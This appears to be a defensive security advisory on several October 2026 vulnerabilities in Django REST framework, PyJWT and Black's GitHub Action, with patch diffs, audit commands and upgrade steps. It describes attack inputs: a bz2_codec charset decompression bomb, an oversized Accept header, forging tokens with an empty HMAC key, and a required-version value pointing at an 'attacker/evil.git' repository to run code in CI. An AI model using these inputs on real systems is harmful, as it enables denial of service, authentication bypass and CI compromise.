CVE
CVE-2026-114136, CVE-2026-114137, CVE-2026-114138, CVE-2026-114134
CWE
CWE-409, CWE-400, CWE-390, CWE-613, CWE-347, CWE-94
Affected Surface
- PyPI package `djangorestframework` versions `>= 3.6.4, < 3.18.2` (`CVE-2026-114136`), `>= 3.12.0, < 3.18.2` (`CVE-2026-114137`), and `< 3.18.2` (`CVE-2026-114138`), fixed in `3.18.2` and `3.18.3`
- PyPI package `PyJWT` (`pyjwt`) versions `<= 2.13.0`, fixed in `2.14.0` (and `2.15.1`)
- PyPI package `black` and the `psf/black` GitHub Action versions `< 26.10.1` when configured with `use_pyproject: true`
TL;DR
On 22 October 2026, the GitHub Advisory Database and NVD published five high-severity advisories across three core packages in the Python web and CI stack: Django REST framework (djangorestframework), PyJWT (pyjwt), and Black (black / psf/black GitHub Action):
CVE-2026-114136(GHSA-3547-9m27-7rxg, CVSS v3.1 7.5 High) indjangorestframework >= 3.6.4, < 3.18.2:JSONParser.parse()passed the client’sContent-Typecharsetparameter directly intocodecs.getreader(encoding). Unlikebytes.decode(),codecs.getreader()does not checkCodecInfo._is_text_encoding, so an unauthenticated request withContent-Type: application/json; charset=bz2_codecwraps the body in abz2orzlibdecompressor after Django’sDATA_UPLOAD_MAX_MEMORY_SIZEcheck has already run on the compressed bytes. A 108-byte payload expands 466,033-fold into a 50.3-million-character string (~97 MiB peak RSS per request).CVE-2026-114137(GHSA-xw6w-gcfp-cf8m, CVSS v3.1 7.4 High) indjangorestframework >= 3.12.0, < 3.18.2:TokenProxyoverrides@property def pk(self): return self.user_idfor the Django admin, while the underlyingauthtoken_tokentable keys on the 40-character hexkeycolumn. Calling.delete()on aTokenProxyinstance orTokenProxy.objects.filter(...).delete()issuesDELETE FROM authtoken_token WHERE key IN (<user_id>), matching zero rows, raising no error, and leaving the “revoked” token active forever.CVE-2026-114138(GHSA-33wh-fxxf-88vv, CVSS v3.1 7.5 High) indjangorestframework < 3.18.2: Default content negotiation had no cap onAcceptheader length or token count and re-parsed everyAccepttoken up to six times per request through Django’s quadraticparse_header_parameters(). A single unauthenticated GET with a 780 KBAcceptheader stalled a Gunicorn worker for 18.87 seconds of pure CPU time.GHSA-pxh4-856f-4h89(CVSS v3.1 7.4 High) inPyJWT <= 2.13.0: WhilePyJWT2.13.0blocked empty string/bytes HMAC secrets inHMACAlgorithm.prepare_key(), it leftHMACAlgorithm.from_jwk()untouched. WhenPyJWK,PyJWKSet, orPyJWKClientloads a symmetric (kty: "oct") JWK with"k": "",from_jwk()returnsb""and accepts any HS256/384/512 token forged locally with an empty HMAC key.CVE-2026-114134(GHSA-cg8m-r9f2-5wm2, CVSS v4.0 8.7 High) inblack < 26.10.1: When thepsf/blackGitHub Action runs withuse_pyproject: true,read_version_specifier_from_pyproject()returnedtool.black.required-versionwithout regex validation if it did not start with an ASCII digit, letting a pull request supply@ git+https://...or arbitrarypip installarguments and execute code in CI.
Note that djangorestframework 3.18.2 accidentally altered the return type of order_by_precedence(), so upgrade straight to djangorestframework>=3.18.3, PyJWT>=2.14.0 (2.15.1 is current), and black>=26.10.1.
Affected packages and projects
| Ecosystem | Package | CVE / GHSA | Severity | Affected versions | Fixed versions | Vulnerable path |
|---|---|---|---|---|---|---|
| PyPI | djangorestframework | CVE-2026-114136 (GHSA-3547-9m27-7rxg) | CVSS v3.1 7.5 High | >= 3.6.4, < 3.18.2 | 3.18.2 (use 3.18.3) | rest_framework/parsers.py (JSONParser.parse -> codecs.getreader(encoding)) |
| PyPI | djangorestframework | CVE-2026-114137 (GHSA-xw6w-gcfp-cf8m) | CVSS v3.1 7.4 High | >= 3.12.0, < 3.18.2 | 3.18.2 (use 3.18.3) | rest_framework/authtoken/models.py (TokenProxy.delete() and TokenProxy.objects.delete()) |
| PyPI | djangorestframework | CVE-2026-114138 (GHSA-33wh-fxxf-88vv) | CVSS v3.1 7.5 High | < 3.18.2 | 3.18.2 (use 3.18.3) | rest_framework/negotiation.py and utils/mediatypes.py (DefaultContentNegotiation.select_renderer) |
| PyPI | PyJWT (pyjwt) | GHSA-pxh4-856f-4h89 | CVSS v3.1 7.4 High | <= 2.13.0 | 2.14.0 (2.15.1 current) | jwt/algorithms.py (HMACAlgorithm.from_jwk accepting "k": "") |
| PyPI / GitHub Actions | black (psf/black) | CVE-2026-114134 (GHSA-cg8m-r9f2-5wm2) | CVSS v4.0 8.7 High | < 26.10.1 | 26.10.1 | action/main.py (read_version_specifier_from_pyproject() when use_pyproject: true) |
Technical analysis
1. CVE-2026-114136: codecs.getreader("bz2_codec") bypasses DATA_UPLOAD_MAX_MEMORY_SIZE in DRF JSONParser
In standard Django views, HttpRequest.body enforces settings.DATA_UPLOAD_MAX_MEMORY_SIZE (2.5 MiB by default) on the incoming request stream, and any later call to bytes.decode(encoding) checks CodecInfo._is_text_encoding, raising LookupError: 'bz2_codec' is not a text encoding if the client names one of CPython’s ~18 byte-transform codecs (bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec, rot_13).
However, since djangorestframework 3.6.4, JSONParser.parse() in rest_framework/parsers.py decoded the stream via codecs.getreader(encoding)(stream):
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
codecs.getreader() is the one entry point in CPython’s codecs module that never checks CodecInfo._is_text_encoding. When an unauthenticated client sends Content-Type: application/json; charset=bz2_codec with a 108-byte bzip2 bomb, HttpRequest.body sees only 108 wire bytes and passes DATA_UPLOAD_MAX_MEMORY_SIZE. JSONParser.parse() then wraps the BytesIO in bz2 decompression and feeds a 50,331,648-character string into json.load(), growing worker RSS by ~97 MiB per 108-byte request (or raising an unhandled OSError / TypeError HTTP 500 if the body is not valid bz2).
Commit 3c2634599b adds get_encoding() in rest_framework/parsers.py and probes ''.encode(encoding), which rejects every non-text codec with a 400 ParseError:
--- a/rest_framework/parsers.py
+++ b/rest_framework/parsers.py
@@ -24,6 +24,28 @@ from rest_framework.utils import json
+def get_encoding(parser_context):
+ encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
+ try:
+ # Unlike `codecs.getreader()`, `str.encode()` rejects non-text codecs.
+ ''.encode(encoding)
+ except (LookupError, UnicodeError):
+ raise ParseError(
+ 'Unsupported charset "%s" in request Content-Type header.' % encoding
+ )
+ return encoding
2. CVE-2026-114137 and CVE-2026-114138: silent TokenProxy.delete() failure and Accept header CPU exhaustion
The other two DRF patches in 3.18.2 / 3.18.3 fix a broken credential revocation path and an unauthenticated CPU denial of service:
- Silent
TokenProxy.delete()failure (CVE-2026-114137, commitaf3fabfd51): Inrest_framework/authtoken/models.py,Tokenuseskey = models.CharField(..., primary_key=True). To make Django admin URLs use the integeruser_idinstead of exposing the secret token in the URL,TokenProxydefines@property def pk(self): return self.user_id. Because Django’sModel.delete()andCollectordelete rows by matching the primary key column (key) againstinstance.pk, callingtoken_proxy.delete()orTokenProxy.objects.filter(user=u).delete()executedDELETE FROM authtoken_token WHERE key IN (<user_id>). The SQL query matched zero rows, returned(0, {})without raising an exception, and left the token active in the database. The fix overridesTokenProxy.delete()and addsTokenProxyQuerySet.delete()so both paths delete againstTokenbyself.key. - Quadratic
Acceptheader negotiation (CVE-2026-114138, commit148ab65239):DefaultContentNegotiation.select_renderer()splitAccepton commas without a length or token cap and constructed_MediaType(token)inside nested loops, and then ran a second time viaperform_content_negotiation(force=True)when rendering a406 NotAcceptableerror response. Each_MediaTypeinitialization calleddjango.utils.http.parse_header_parameters(), which rescans quotes from index0on every semicolon inside a quoted parameter. A single 780 KBAcceptheader with 96 semicolon-packed tokens burned 18.87 seconds of CPU. The fix capsmax_accept_header_length = 8192,max_accept_tokens = 64, andmax_media_type_length = 256, and caches parsed_MediaTypeobjects per request.
3. GHSA-pxh4-856f-4h89: empty symmetric oct JWK key allows HMAC token forgery in PyJWT
In PyJWT 2.13.0, HMACAlgorithm.prepare_key() was updated to reject empty string or byte secrets ("" or b""). However, HMACAlgorithm.from_jwk() in jwt/algorithms.py did not call prepare_key() or check the decoded key length:
--- a/jwt/algorithms.py
+++ b/jwt/algorithms.py
@@ -428,7 +428,10 @@ def from_jwk(jwk: str | JWKDict) -> bytes:
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
- return base64url_decode(obj["k"])
+ key_bytes = base64url_decode(obj["k"])
+ if len(key_bytes) == 0:
+ raise InvalidKeyError("HMAC key must not be empty.")
+ return key_bytes
In any service that verifies HS256, HS384, or HS512 tokens against a PyJWK, PyJWKSet, or PyJWKClient where an oct JWK entry has "k": "" (for example from an uninitialized environment variable or a default placeholder key in a JWKS document), from_jwk() returned b"" (commit af8181ca0b). An attacker can sign arbitrary JWT claims with b"" and set the header kid to that entry to forge valid tokens without knowing any secret.
4. CVE-2026-114134: tool.black.required-version injection in Black’s GitHub Action
The psf/black GitHub Action (action/main.py) supports an optional use_pyproject: true input that reads the Black version to install from pyproject.toml. While dependency-group arrays in pyproject.toml were matched against BLACK_VERSION_RE, read_version_specifier_from_pyproject() checked tool.black.required-version only for a leading digit and returned any other string verbatim:
--- a/action/main.py
+++ b/action/main.py
@@ -73,13 +73,25 @@ def read_version_specifier_from_pyproject() -> str:
version = pyproject.get("tool", {}).get("black", {}).get("required-version")
if version is not None:
version = str(version).strip()
+ if not version:
+ return ""
# If bare version number or major version is provided, format accordingly:
- if version and version[0] in "0123456789":
+ if version[0] in "0123456789":
if "." in version:
- return f"=={version}"
+ version = f"=={version}"
else:
- return f"~={version}.0"
- return version
+ version = f"~={version}.0"
+ # Accept only version specifiers, as for the dependency arrays below, so
+ # this can't turn into a direct reference that installs something else.
+ if m := BLACK_VERSION_RE.match(f"black{version}"):
+ return m.group(1).strip()
Before commit ac1f71563a (26.10.1), setting required-version = "@ git+https://github.com/attacker/evil.git" in pyproject.toml caused the action to install and execute an attacker-controlled package inside the CI runner.
Detection and remediation
1. Audit lockfiles, TokenProxy callers, and GitHub Actions workflows
Run these checks across your Python repositories:
# Check installed versions in the active environment
pip show djangorestframework PyJWT black 2>/dev/null || true
# Search lockfiles and manifests for vulnerable versions
rg -n -i '"?(djangorestframework|pyjwt|black)"?\s*([~=!<>]=|:)' \
requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null
# Check if your codebase revokes DRF tokens through TokenProxy instead of Token
rg -n 'TokenProxy\.(objects|delete)|isinstance\([^,]+,\s*TokenProxy\)' --glob '*.py' . 2>/dev/null
# Check GitHub Actions workflows for psf/black with use_pyproject: true
rg -n 'psf/black|use_pyproject\s*:\s*true' .github/workflows 2>/dev/null
2. Upgrade packages and purge unrevoked authtoken_token rows
- Upgrade
djangorestframeworkto3.18.3+,PyJWTto2.14.0+(2.15.1), andpsf/blackto26.10.1+:
(Skippip install -U "djangorestframework>=3.18.3" "PyJWT>=2.15.1" "black>=26.10.1"djangorestframework==3.18.2in favor of3.18.3, which restores the return value oforder_by_precedence()broken in3.18.2.) - Audit and purge surviving DRF tokens (
CVE-2026-114137): If any logout view, offboarding script, or custom admin action in your application called.delete()onTokenProxyorTokenProxy.objects, those tokens were never deleted from the database. Queryauthtoken_tokenfor tokens belonging to deactivated (is_active=False) or offboarded users and delete them through the concreteTokenmodel (Token.objects.filter(user__is_active=False).delete()). - Pin
psf/blackin.github/workflows: Update workflow references topsf/black@26.10.1(or the commit SHAac1f71563aeccf73cf13ece00f231d9d6c66a514), and never runuse_pyproject: trueinside apull_request_targetworkflow that checks out untrusted PR head commits.
Timeline
- 2026-10-06: Django REST framework releases
3.18.2with fixes forGHSA-3547-9m27-7rxg,GHSA-xw6w-gcfp-cf8m, andGHSA-33wh-fxxf-88vv, followed the same day by3.18.3to revert an unintended API change inorder_by_precedence(). - 2026-10-12: PyJWT merges commit
af8181ca0band releases2.14.0rejecting emptyoctJWK keys; Black merges PR#5510(ac1f71563a) and releases26.10.1. - 2026-10-21 to 2026-10-22: CVE records
CVE-2026-114134,CVE-2026-114136,CVE-2026-114137, andCVE-2026-114138, along withGHSA-pxh4-856f-4h89, are published to NVD and the global GitHub Advisory Database.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Django REST framework advisory GHSA-3547-9m27-7rxg (CVE-2026-114136)
- Django REST framework advisory GHSA-xw6w-gcfp-cf8m (CVE-2026-114137)
- Django REST framework advisory GHSA-33wh-fxxf-88vv (CVE-2026-114138)
- encode/django-rest-framework commits 3c2634599b, af3fabfd51, and 148ab65239
- PyJWT advisory GHSA-pxh4-856f-4h89 and commit af8181ca0b
- Black advisory GHSA-cg8m-r9f2-5wm2 (CVE-2026-114134) and commit ac1f71563a
- NVD: CVE-2026-114136
- NVD: CVE-2026-114137
- NVD: CVE-2026-114134